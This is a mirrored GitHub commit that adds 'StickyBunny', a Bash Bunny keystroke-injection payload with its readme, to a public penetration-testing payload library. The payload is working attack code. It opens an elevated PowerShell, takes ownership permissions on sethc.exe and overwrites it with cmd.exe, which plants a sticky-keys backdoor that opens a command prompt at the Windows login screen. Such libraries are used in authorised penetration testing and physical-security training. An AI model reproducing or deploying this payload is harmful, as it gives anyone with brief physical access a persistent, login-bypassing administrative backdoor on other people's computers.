mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Added stickyBunny payload (#232)
This commit is contained in:
parent
c8b892badb
commit
3c2dd4ac1e
64
payloads/library/execution/StickyBunny/payload.txt
Normal file
64
payloads/library/execution/StickyBunny/payload.txt
Normal file
@ -0,0 +1,64 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Title: StickyBunny
|
||||
# Author: Squibs
|
||||
# Version: 0.3
|
||||
# Plug2Pwn: 18s
|
||||
#
|
||||
# Creates the sticky keys back door on a windows machine
|
||||
#
|
||||
# Blue...............Preparing Attack
|
||||
# Yellow.............Attacking
|
||||
# Green..............GTFO
|
||||
|
||||
#Open Admin Powershell
|
||||
ATTACKMODE HID
|
||||
LED B 200
|
||||
Q GUI
|
||||
Q DELAY 500
|
||||
Q STRING POWERSHELL
|
||||
Q DELAY 1000
|
||||
Q CTRL-SHIFT ENTER
|
||||
Q DELAY 2000
|
||||
Q LEFTARROW
|
||||
Q DELAY 100
|
||||
Q ENTER
|
||||
Q DELAY 1200
|
||||
|
||||
#Give Permissions for sethc.exe to current user
|
||||
LED Y 500
|
||||
Q STRING "\$Acl = Get-Acl sethc.exe"
|
||||
Q ENTER
|
||||
Q DELAY 100
|
||||
Q STRING "\$Ar = New-Object system.security.accesscontrol.filesystemaccessrule(\$env:UserName,\"FullControl\",\"Allow\")"
|
||||
Q ENTER
|
||||
Q DELAY 100
|
||||
Q STRING "\$Acl.SetAccessRule(\$Ar)"
|
||||
Q ENTER
|
||||
Q DELAY 100
|
||||
Q STRING "Set-Acl sethc.exe \$Acl"
|
||||
Q ENTER
|
||||
Q DELAY 100
|
||||
|
||||
#Copy over CMD to SETHC.EXE (Save sethc.exe as sethc.exe.bak if you want to be nice)
|
||||
Q STRING "xcopy sethc.exe sethc.exe.bak"
|
||||
Q ENTER
|
||||
Q DELAY 1200
|
||||
Q STRING "F"
|
||||
Q DELAY 100
|
||||
Q STRING "xcopy cmd.exe sethc.exe"
|
||||
Q ENTER
|
||||
Q DELAY 200
|
||||
Q STRING "Y"
|
||||
Q ENTER
|
||||
Q DELAY 200
|
||||
|
||||
# GTFO
|
||||
Q STRING EXIT
|
||||
Q ENTER
|
||||
|
||||
#Sync Drive
|
||||
sync
|
||||
|
||||
#Trap is clean!
|
||||
LED G
|
||||
21
payloads/library/execution/StickyBunny/readme.md
Normal file
21
payloads/library/execution/StickyBunny/readme.md
Normal file
@ -0,0 +1,21 @@
|
||||
# StickyBunny
|
||||
* Author: Squibs
|
||||
* Version: 0.1
|
||||
* Target: Windows
|
||||
* Time: 19s
|
||||
|
||||
## Description
|
||||
|
||||
Changes the sticky keys executeable to a CMD executatble allowing CMD to be opened at login page.
|
||||
|
||||
## Configuration
|
||||
|
||||
None.
|
||||
|
||||
## STATUS
|
||||
|
||||
| LED | Status |
|
||||
| ------------------ | -------------------------------------------- |
|
||||
| Blue (blinking) | Setting up |
|
||||
| Purple (blinking) | Running Attack |
|
||||
| Green (solid) | Complete |
|
||||
Loading…
x
Reference in New Issue
Block a user